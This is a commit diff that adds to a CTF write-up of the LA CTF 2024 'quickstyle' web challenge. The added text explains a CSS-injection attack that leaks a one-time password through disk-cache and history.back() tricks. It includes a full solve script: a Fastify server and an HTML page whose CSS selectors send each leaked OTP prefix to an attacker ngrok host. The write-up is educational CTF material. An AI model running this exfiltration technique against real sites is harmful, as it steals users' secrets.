Skip to content

Commit 0d2d37b

Browse files
committed
feat: update LA CTF
1 parent 1e06d3a commit 0d2d37b

2 files changed

Lines changed: 123 additions & 0 deletions

File tree

_posts/2024-02-19-LA-CTF-2024.md

Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -461,6 +461,129 @@ Reference:
461461
- [https://github.com/uclaacm/lactf-archive/tree/main/2024/web/quickstyle/solve](https://github.com/uclaacm/lactf-archive/tree/main/2024/web/quickstyle/solve)
462462
- [https://gist.github.com/arkark/5787676037003362131f30ca7c753627](https://gist.github.com/arkark/5787676037003362131f30ca7c753627)
463463
464+
The intended solution was to use a variant of [3-combo](https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/#multiple-requests-per-element-crossfade) to leak a one-time password.
465+
466+
But after reading other people writeup, I found that arkark's [solution](https://gist.github.com/arkark/5787676037003362131f30ca7c753627) was the most simple and easy to understand. The idea was to not let the server regenerate the otp by abusing the disk cache on the client-side.
467+
468+
The flow was go to website (generate otp) -> leak first character via css -> go to about:blank -> use history.back() to use the disk cache (doesn't generate otp) -> leak second character and so on...
469+
470+
Note: Script executed in about:blank, in this case `history.back()` is considered to be same origin in the [document](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#inherited_origins), so the SOP won't block navigating back via `history` object.
471+
472+
**Solve script from arkark's writeup**
473+
```js
474+
const app = require('fastify')({});
475+
const path = require('node:path');
476+
477+
const ATTACKER_BASE_URL =
478+
'https://<ngrok-id>.ngrok-free.app';
479+
480+
const user = 'username_xxxxx';
481+
482+
app.addHook('onSend', async (res, reply) => {
483+
reply.header('Access-Control-Allow-Origin', '*');
484+
});
485+
486+
app.register(require('@fastify/static'), {
487+
root: path.join(__dirname, 'public'),
488+
prefix: '/'
489+
});
490+
491+
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
492+
493+
let known = '';
494+
const TARGET_LEN = 80;
495+
const CHARS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
496+
497+
app.get('/cssi', async (req, reply) => {
498+
let css = '';
499+
for (const c of CHARS) {
500+
css += `
501+
input[value ^= "${known}${c}"] {
502+
background: url("${ATTACKER_BASE_URL}/cssi/leak?prefix=${known}${c}");
503+
}
504+
`.trim();
505+
}
506+
507+
const html = `
508+
<style>${css}</style>
509+
<form name="querySelectorAll"></form>
510+
`.trim();
511+
512+
return reply.type('html').send(html);
513+
});
514+
515+
app.get('/cssi/leak', async (req, reply) => {
516+
known = req.query.prefix.trim();
517+
console.log({ len: known.length, known });
518+
if (known.length === TARGET_LEN) {
519+
console.log({ user, otp: known });
520+
app.close();
521+
}
522+
return '';
523+
});
524+
525+
app.get('/cssi/prefix', async (req, reply) => {
526+
const len = parseInt(req.query.len);
527+
while (known.length < len) {
528+
await sleep(10);
529+
}
530+
return known;
531+
});
532+
533+
app.listen({ address: '0.0.0.0', port: 8080 }, (err) => {
534+
if (err) throw err;
535+
});
536+
```
537+
{: file="index.js" }
538+
539+
```html
540+
<body>
541+
<script>
542+
// const BASE_URL = "http://web:3000";
543+
const BASE_URL = "https://quickstyle.chall.lac.tf";
544+
545+
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
546+
547+
const back = async (win) => {
548+
while (true) {
549+
try {
550+
console.log(win.history);
551+
win.history.back();
552+
return;
553+
} catch {
554+
await sleep(10);
555+
}
556+
}
557+
};
558+
559+
const TARGET_LEN = 80;
560+
561+
const main = async () => {
562+
const user = "username_xxxxx";
563+
const page = `${location.origin}/cssi`;
564+
const win = open(`${BASE_URL}/?${new URLSearchParams({ user, page })}`);
565+
566+
for (let len = 1; len < TARGET_LEN; len++) {
567+
await fetch(`/cssi/prefix?len=${len}`);
568+
win.location = `about:blank`;
569+
await back(win);
570+
}
571+
};
572+
main();
573+
</script>
574+
</body>
575+
```
576+
{: file="public/index.html" }
577+
578+
I used ngrok to expose the port and replaced the url in the server code. After that I started the server and sent the ngrok url to the bot.
579+
580+
But I was only able to leak about ~73 characters of the otp and then it stop.
581+
582+
![Stopped leaking](quickstyle-1.png)
583+
584+
After check the bot code in the [challenge archive](https://github.com/uclaacm/lactf-archive/blob/main/2024/admin-bot/handlers/quickstyle.js), I saw that the bot has a 60-second timeout so that mean that I didn't leak the otp fast enough. This may be caused by ngrok or my machine/bot not being fast enough? I tried a couple more time and the most characters I was able to leak was 75.
585+
586+
Despite not being able to solved it fully, I have learnt alot about css injection and chrome's caching policy. It was a great challenge!
464587
465588
## biscuit-of-totality
466589
Reference:
28.1 KB
Loading

0 commit comments

Comments
 (0)